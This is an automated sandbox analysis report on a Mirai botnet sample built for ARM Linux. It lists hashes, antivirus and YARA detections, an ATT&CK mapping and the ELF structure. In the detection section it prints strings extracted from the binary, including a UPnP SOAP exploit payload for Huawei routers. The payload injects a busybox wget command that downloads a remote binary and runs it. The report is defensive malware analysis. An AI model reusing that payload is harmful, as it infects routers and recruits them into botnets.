Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
arm5.elf

Overview

General Information

Sample name:arm5.elf
Analysis ID:1675205
MD5:b96f960582418a0e0213047cbd5042ef
SHA1:bcb1059a0726ba59b20d9e4eb4bb58e26c989919
SHA256:e988ef7bbc4b45b21d5b179c43afeb49387a500c8b2a885158d2b50c4e7833e9
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1675205
Start date and time:2025-04-27 00:35:22 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 15s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm5.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@0/0

Runtime Messages

Command:/tmp/arm5.elf
PID:5433
Exit Code:1
Exit Code Info:
Killed:False
Standard Output:

Standard Error:

Process Tree

  • system is lnxubuntu20
  • arm5.elf (PID: 5433, Parent: 5357, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
arm5.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    arm5.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      5433.1.00007f143c017000.00007f143c02a000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        5433.1.00007f143c017000.00007f143c02a000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: arm5.elf PID: 5433JoeSecurity_Mirai_6Yara detected MiraiJoe Security

            Suricata Signatures

            ⊘No Suricata rule has matched

            Joe Sandbox Signatures

            • • AV Detection
            • • Networking
            • • System Summary
            • • Malware Analysis System Evasion
            • • Stealing of Sensitive Information
            • • Remote Access Functionality

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: arm5.elfAvira: detected
            Source: arm5.elfReversingLabs: Detection: 63%
            Source: arm5.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: arm5.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
            Source: Initial sampleString containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: classification engineClassification label: mal72.troj.linELF@0/0@0/0
            Source: /tmp/arm5.elf (PID: 5433)Queries kernel information via 'uname': Jump to behavior
            Source: arm5.elf, 5433.1.00007ffd6b87e000.00007ffd6b89f000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
            Source: arm5.elf, 5433.1.000055ec8a022000.000055ec8a171000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
            Source: arm5.elf, 5433.1.000055ec8a022000.000055ec8a171000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
            Source: arm5.elf, 5433.1.000055ec8a022000.000055ec8a171000.rw-.sdmpBinary or memory string: !/proc/1563/exe0!/usr/bin/vmtoolsd1/proc/3375/exe/arm/sr10!/usr/lib/xorg/Xorg!/proc/765/exe!/usr/bin/xfsettingsdpro!/proc/3795/exe/arm/usra
            Source: arm5.elf, 5433.1.000055ec8a022000.000055ec8a171000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: arm5.elf, 5433.1.00007ffd6b87e000.00007ffd6b89f000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: arm5.elf, type: SAMPLE
            Source: Yara matchFile source: 5433.1.00007f143c017000.00007f143c02a000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm5.elf PID: 5433, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: arm5.elf, type: SAMPLE
            Source: Yara matchFile source: 5433.1.00007f143c017000.00007f143c02a000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm5.elf PID: 5433, type: MEMORYSTR

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery            		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features

            Malware Configuration

            ⊘No configs have been found

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet
            behaviorgraph top1 signatures2 2 Behavior Graph ID: 1675205 Sample: arm5.elf Startdate: 27/04/2025 Architecture: LINUX Score: 72 7 Antivirus / Scanner detection for submitted sample 2->7 9 Multi AV Scanner detection for submitted file 2->9 11 Yara detected Mirai 2->11 5 arm5.elf 2->5         started        process3

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            arm5.elf64%ReversingLabsLinux.Worm.Mirai
            arm5.elf100%AviraLINUX/GM.Mirai.ET

            Dropped Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            ⊘No Antivirus matches

            Domains and IPs

            Contacted Domains

            ⊘No contacted domains info
            NameSourceMaliciousAntivirus DetectionReputation
            http://schemas.xmlsoap.org/soap/encoding/arm5.elffalse
              		high
              http://schemas.xmlsoap.org/soap/envelope/arm5.elffalse
                		high

                World Map of Contacted IPs

                ⊘No contacted IP infos

                Joe Sandbox View / Context

                IPs

                ⊘No context

                Domains

                ⊘No context

                ASNs

                ⊘No context

                JA3 Fingerprints

                ⊘No context

                Dropped Files

                ⊘No context

                Created / dropped Files

                ⊘No created / dropped files found

                Static File Info

                General

                File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
                Entropy (8bit):6.0824190560177875
                TrID:
                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                File name:arm5.elf
                File size:75'240 bytes
                MD5:b96f960582418a0e0213047cbd5042ef
                SHA1:bcb1059a0726ba59b20d9e4eb4bb58e26c989919
                SHA256:e988ef7bbc4b45b21d5b179c43afeb49387a500c8b2a885158d2b50c4e7833e9
                SHA512:66ed9333b90553b1f087dc08645da2466a3545a69d2829d64ac8b5e5da0bc7a2d82642706a0d866ddd08b0efdc9a7d25c385db3e048f003481a59b81e0f04f8b
                SSDEEP:1536:RnGmRJjJSARU5JKBtpmyaz6yb1FCKzlWO+BGW23mBIzaJq:RnGmUrfKBzHyb1FvVmaV
                TLSH:6D732A51BD819A12C6D1127BFF6E428D372653A8D2EE7203DD256F2137CB85B0E3B642
                File Content Preview:.ELF...a..........(.........4...X$......4. ...(...................... ... ............... ... ... ..l....T..........Q.td..................................-...L."...\A..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

                Static ELF Info

                ELF header

                Class:ELF32
                Data:2's complement, little endian
                Version:1 (current)
                Machine:ARM
                Version Number:0x1
                Type:EXEC (Executable file)
                OS/ABI:ARM - ABI
                ABI Version:0
                Entry Point Address:0x8190
                Flags:0x2
                ELF Header Size:52
                Program Header Offset:52
                Program Header Size:32
                Number of Program Headers:3
                Section Header Offset:74840
                Section Header Size:40
                Number of Section Headers:10
                Header String Table Index:9

                Sections

                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                NULL0x00x00x00x00x0000
                .initPROGBITS0x80940x940x180x00x6AX004
                .textPROGBITS0x80b00xb00x105a80x00x6AX0016
                .finiPROGBITS0x186580x106580x140x00x6AX004
                .rodataPROGBITS0x1866c0x1066c0x1a3c0x00x2A004
                .ctorsPROGBITS0x220ac0x120ac0x80x00x3WA004
                .dtorsPROGBITS0x220b40x120b40x80x00x3WA004
                .dataPROGBITS0x220c00x120c00x3580x00x3WA004
                .bssNOBITS0x224180x124180x50a80x00x3WA004
                .shstrtabSTRTAB0x00x124180x3e0x00x0001

                Program Segments

                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                LOAD0x00x80000x80000x120a80x120a86.11400x5R E0x8000.init .text .fini .rodata
                LOAD0x120ac0x220ac0x220ac0x36c0x54142.65760x6RW 0x8000.ctors .dtors .data .bss
                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                Network Behavior

                ⊘No network behavior found

                System Behavior

                General

                Start time (UTC):22:36:05
                Start date (UTC):26/04/2025
                Path:/tmp/arm5.elf
                Arguments:/tmp/arm5.elf
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                File Activities

                Process Activities

                System Activities